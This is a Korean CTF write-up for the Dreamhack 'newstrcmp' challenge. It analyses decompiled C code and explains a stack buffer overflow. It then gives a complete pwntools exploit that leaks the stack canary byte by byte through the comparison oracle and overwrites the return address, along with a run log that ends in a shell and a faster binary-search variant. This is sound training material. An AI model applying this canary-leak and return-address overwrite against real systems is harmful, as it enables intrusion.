[dreamhack] newstrcmp writeup

1. 문제

thumbnail
newstrcmp

드림이가 strcmp 함수를 직접 구현하며 기능을 추가했어요.
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.

https://dreamhack.io/wargame/challenges/980

2. 풀이


_DWORD *__fastcall newstrcmp(const char *str1, __int64 str2, _DWORD *a3)
{
  int indicator; // edx
  _DWORD *result; // rax
  int i; // [rsp+28h] [rbp-8h]
  int len_str1; // [rsp+2Ch] [rbp-4h]

  len_str1 = strlen(str1);
  for ( i = 0; ; ++i )
  {
    if ( i >= len_str1 )                        // str1 == str2
    {
      a3[1] = 0;                                // it is same, so save 0 at res[1]
      result = a3;
      *a3 = -1;                                 // save -1 at res[0] (indicates diff index)
      return result;
    }
    if ( str1[i] != *(_BYTE *)(i + str2) )      // if str1 != str2, then break
      break;
  }
  if ( str1[i] >= *(_BYTE *)(i + str2) )        // if str1 is larger, it is 1
    indicator = 1;
  else
    indicator = -1;                             // if str2 is larger, it is -1
  a3[1] = indicator;
  result = a3;
  *a3 = i;
  return result;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int count; // [rsp+10h] [rbp-50h]
  unsigned int res[2]; // [rsp+14h] [rbp-4Ch] BYREF
  char buf[2]; // [rsp+1Eh] [rbp-42h] BYREF
  char str1[16]; // [rsp+20h] [rbp-40h] BYREF
  __int64 v8; // [rsp+30h] [rbp-30h]
  __int64 v9; // [rsp+38h] [rbp-28h]
  char str2[24]; // [rsp+40h] [rbp-20h] BYREF
  unsigned __int64 v11; // [rsp+58h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v8 = 0LL;
  v9 = 0LL;
  count = 0;
  setup();
  puts("Tester for newstrcmp");
  while ( 1 )
  {
    printf("Trial: %d\n", (unsigned int)++count);
    printf("Exit? (y/n): ");
    read(0, buf, 2uLL);
    if ( buf[0] == 'y' )
      break;
    printf("Input string s1: ");
    read(0, str1, 0x40uLL);
    printf("Input string s2: ");
    read(0, str2, 0x40uLL);
    newstrcmp(str1, (__int64)str2, res);
    printf("Result of newstrcmp: ");
    if ( res[1] )
    {
      if ( (res[1] & 0x80000000) == 0 )         // when res[1] >= 0
        printf("s1 is larger than s2, first differs at %d\n", res[0]);
      else
        printf("s1 is smaller than s2, first differs at %d\n", res[0]);
    }
    else
    {
      puts("Two strings are the same!");
    }
  }
  return 0;
}

말그대로 strcmp 함수를 직접 구현한 newstrcmp 함수가 존재한다. 두개의 문자열을 0x40바이트만큼 입력 받아서 한 바이트씩 확인한다. 그리고 같은지 다른지만 알려주는게 아니라 어떤 문자열이 더 크고 작은지, 그리고 어디 위치에서 달라지는지도 알려준다.

취약점은 0x40바이트를 각각 입력받을 수 있는데 실제 str10x20바이트, str20x18바이트만 입력이 가능하다.


bof 취약점이 발생함에 따라 str1에 대한 입력만으로 canary까지 덮을 수 있음을 알 수 있다.

그래서 canary를 leak을 할 수 있는데 생각해낸 아이디어가 좀 복잡하다.

payload1 = b"a" * 0x19 + canary + bytes([i]) + b"\xff"
payload2 = b"a" * 0x19

위와 같이 a를 0x19개만큼 넣고, 이후에 0x01부터 0xff까지 가능한 바이트를 모두 넣어본다.

그리고 마지막에는 0xff를 넣어서 예상되는 canary의 첫번째 바이트와 같아지는 순간 payload1payload2보다 무조건 큰 문자열이 되게하는 것이 핵심이다.

그리고 찾으면 canary에 추가하고, 그다음 바이트를 찾고, 계속 반복한다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./newstrcmp")
p = remote("host8.dreamhack.games", 18979)
elf = ELF("./newstrcmp")

canary = b""
while (len(canary) < 7):
    for i in range(0x01, 0x100):
        p.sendafter(b"(y/n): ", b"n")
        payload1 = b"a" * 0x19 + canary + bytes([i]) + b"\xff"
        payload2 = b"a" * 0x19
        #print(payload1)
        #print(payload2)
        p.sendafter(b"s1: ", payload1)
        p.sendafter(b"s2: ", payload2)
        tmp = p.recvline()
        if i == 0x01:
            if b"small" in tmp:
                ck = 0
            else:
                ck = 1
        if (b"larger" in tmp and ck == 0) or (b"small" in tmp and ck == 1):
            canary = canary + bytes([i])
            print(len(canary))
            print(canary.hex())
            break

canary = u64(b"\x00" + canary)
print(canary)

p.sendafter(b"(y/n): ", b"n")
payload = b"a" * 0x18 + p64(canary) + b"b" * 8 + p64(elf.symbols["flag"])
p.sendafter(b"s1: ", payload)
p.sendafter(b"s2: ", payload)

p.sendafter(b": ", b"y")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/newstrcmp$ python3 e_newstrcmp.py 
[+] Starting local process './newstrcmp': pid 3245487
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/newstrcmp/newstrcmp'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
1
03
2
03e7
3
03e7fe
4
03e7fe18
5
03e7fe18e4
6
03e7fe18e441
7
03e7fe18e441b8
13277143972471833344
[*] Switching to interactive mode
Two strings are the same!
Trial: 991
Exit? (y/n): $ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

문제는 이게 로컬에서는 금방 되는데 서버환경에다가 하려니까 (심지어 지금은 미국에 있다보니) 거의 10분 가까이 걸렸다. 그래서 짧게하려면 이진탐색을 써야한다.

while len(canary) < 7:
    low, high = 0x00, 0xff
    while low <= high:
        mid = (low + high) // 2
        p.sendafter(b"(y/n): ", b"n")

        payload1 = b"a" * 0x19 + canary + bytes([mid]) + b"\xff"
        payload2 = b"a" * 0x19

        p.sendafter(b"s1: ", payload1)
        p.sendafter(b"s2: ", payload2)
        tmp = p.recvline()

        if b"larger" in tmp:
            high = mid - 1
        elif b"small" in tmp:
            low = mid + 1
        else:
            canary += bytes([mid])
            print(len(canary), canary.hex())
            break
    else:
        canary += bytes([low])
        print(len(canary), canary.hex())

이렇게하면 기존에 최악의 경우 256번씩 해야하던걸 최대 8번안에 끝낼 수 있다.

그치만 귀찮아서 그냥 먼저 브포 때리고 이진탐색은 나중에 했다..


해결~